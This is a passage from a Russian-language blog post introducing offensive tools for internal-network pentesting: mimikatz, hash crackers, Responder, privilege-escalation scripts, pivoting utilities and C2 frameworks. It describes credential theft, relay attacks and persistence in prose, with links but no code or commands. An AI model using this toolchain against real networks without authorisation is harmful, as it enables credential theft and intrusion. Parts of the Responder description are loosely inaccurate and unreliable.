  <p id="vdDC">Mimikatz работает, используя уязвимости в API Windows, чтобы получить доступ к данным, хранящимся в памяти. Методы, используемые mimikatz: Pass-the-Hash, Pass-the-Ticket, Pass-the-Key, Kerberos golden/silver Ticket, Pass-the-Cache.</p>
  <p id="ws65">Учтите, что для полноценной работы mimikatz его <strong>необходимо запускать с правами администратора</strong>!</p>
  <h2 id="XcxE">John The Ripper &amp;&amp; Hashcat </h2>
  <figure id="vS4W" class="m_column">
    <img src="https://img2.teletype.in/files/d2/0c/d20c933a-ce01-4647-b6e8-41b637b0b6c7.png" width="821" />
    <figcaption>John</figcaption>
  </figure>
  <p id="GYBt">Думаю, эти двое в представлении тоже не нуждаются. Это утилиты для брутфорса различных хешей: первая работает на процессоре, вторая – на видеокарте. В Kali Linux предустановлены. </p>
  <p id="0aXO">Как правило, John используется для взлома более простых хешей, hashcat – для более сложных</p>
  <h2 id="dISO">Responder</h2>
  <p id="DpOK"><a href="https://cyberarms.wordpress.com/2018/01/12/easy-creds-with-responder-and-kali-linux/" target="_blank">Responder</a> - это инструмент для тестирования на проникновение, который  используется для перехвата сетевого трафика, сбора учетных данных и как часть цепочки в атаке ntlm-relay.</p>
  <figure id="v10S" class="m_original">
    <img src="https://img3.teletype.in/files/ab/21/ab2110d5-0414-42a8-b398-50dae481ff9c.png" width="225" />
    <figcaption>Responder</figcaption>
  </figure>
  <p id="BnOR"><strong>Как работает Responder:</strong></p>
  <p id="WsNR">1. <strong>Запуск Responder:</strong> Вы запускаете Responder на машине, которая находится между атакуемой системой и сервером, к которому эта система обращается.</p>
  <p id="51om">2. <strong>Перехват трафика:</strong> Responder перехватывает сетевой трафик, в том числе запросы аутентификации NTLM (NT LAN Manager).</p>
  <p id="8Lkc">3. <strong>Создание ответов:</strong> Когда Responder перехватывает запрос аутентификации NTLM, он создает ложный ответ, имитируя ответ сервера.</p>
  <p id="xL8w">4. <strong>Сбор учетных данных:</strong> Ложный ответ содержит поддельные данные, которые позволяют Responder собрать учетные данные пользователя, в том числе имя пользователя, пароль и хэш NTLM.</p>
  <p id="Lt1N">5. <strong>Атаки типа &quot;Pass-the-Hash&quot;:</strong> Responder может использовать украденные хэши NTLM для атак типа &quot;Pass-the-Hash&quot;. Он может имитировать ответ сервера, используя украденный хэш, чтобы получить доступ к другим ресурсам сети от имени пользователя.</p>
  <p id="QpB5">Responder не самая простая в использовании утилита и требует практики.</p>
  <h2 id="lHxH">Эскалация привилегий</h2>
  <p id="2VOJ">В контексте инфраструктуры существует огромное количество способов повышения привилегий, останавливаться на них мы сейчас не будем, но приведу пару утилит, которые могут помочь в поиске вектора эскалации:</p>
  <ol id="nUre">
    <li id="6pn1"><a href="https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md" target="_blank">WinPEAS</a> – Windows Privilege Escalation Amazing Scripts</li>
    <li id="I3Sn"><a href="https://github.com/AlessandroZ/LaZagne" target="_blank">LaZagne</a> – харвестер данных с машины </li>
    <li id="k3N8"><a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1" target="_blank">PowerView</a> – набор скриптов для перечисления домена</li>
  </ol>
  <h2 id="I235">Pivoting</h2>
  <p id="Okb3">Пивотинг – техника получения доступа к локальным ресурсам домена, которые не доступны извне. Используя техники пивотинга атакующий как бы делает вид, что находится в одной локальной сети организации. Говоря более техническим языком, техники пивотинга позволяют сделать маршрутизируемым тот трафик, который по умолчанию таковым не является. </p>
  <figure id="Df10" class="m_column">
    <img src="https://img2.teletype.in/files/da/af/daaf31cb-d21e-42cf-85bd-16c9d5fffd17.png" width="800" />
    <figcaption>Pivoting</figcaption>
  </figure>
  <p id="3L0w">Для пивотинга существует целый ряд утилит, вот некоторые из них: </p>
  <h3 id="X0w4"><a href="https://github.com/3ndG4me/socat" target="_blank">Socat</a></h3>
  <p id="1OoX">Утилита, позволяющая переадресовывать сокеты с хостовой машины на клиентскую</p>
  <h3 id="3De8"><a href="https://github.com/jpillora/chisel" target="_blank">Chisel</a></h3>
  <p id="Y8Os">В простонародье &quot;числа&quot; – утилита для <em>port forwarding</em>. Представим, что вы скомпроментировали хост, на котором обнаружили локально поднятое веб-приложение, недоступное извне. &quot;Числа&quot; имеют два режима работы – клиент и сервер, которые устанавливают между собой соединение и позволяют запускать локальное веб-приложение с <strong><em>атакуемой</em></strong> машины через localhost <strong><em>атакующей</em></strong> машины. </p>
  <h3 id="DAhY"><a href="https://github.com/sshuttle/sshuttle" target="_blank">Sshuttle</a></h3>
  <p id="O7uj">Open-sourсe прокси для туннелирования трафика. </p>
  <h3 id="4nxF"><a href="https://github.com/sysdream/ligolo" target="_blank">Ligolo</a></h3>
  <p id="naao">Одна из лучших утилит для пивотинга, полюбившаяся многим пентестерам</p>
  <p id="zU0w"></p>
  <h2 id="BvJW">С2 Frameworks</h2>
  <p id="Pw6j">После получения доступа и закрепления в системе, желательно пустить корни еще глубже, чтобы, например, случайное падение сервера или отлетевшая сессия не стали поводом повторять всю атаку заново. Для этого используются Command &amp; Control (C2) фреймворки. Вариантов таких фреймворков уйма – Cobalt Strike, Sliver, Empire и другие, большой список С2 можно найти <a href="https://github.com/tcostam/awesome-command-control" target="_blank">здесь</a></p>
  <p id="0Xwt">Так же эти фреймворки содержат весь необходимый набор утилит для дальнейшего продвижения в инфраструктуре. </p>
  <p id="mhPN">Лично мне на данном этапе довелось поработать со <a href="https://github.com/BishopFox/sliver" target="_blank">sliver</a> и <a href="https://github.com/BC-SECURITY/Empire" target="_blank">empire</a> – очень крутые бесплатные C2 фреймворки, однако учтите, что работа с С2 <strong>впервые</strong> требует практики! </p>
  <h2 id="DJQs">Заключение</h2>
  <p id="vXJh">В данном материале охвачен лишь самый базовый набор инструментов, используемый при работе с инфраструктурой, однако этого набора достаточно, чтобы найти подход и познакомиться с атаками на нее. </p>
  <p id="QOUk">Keep researching! </p>

]]></content:encoded></item></channel></rss>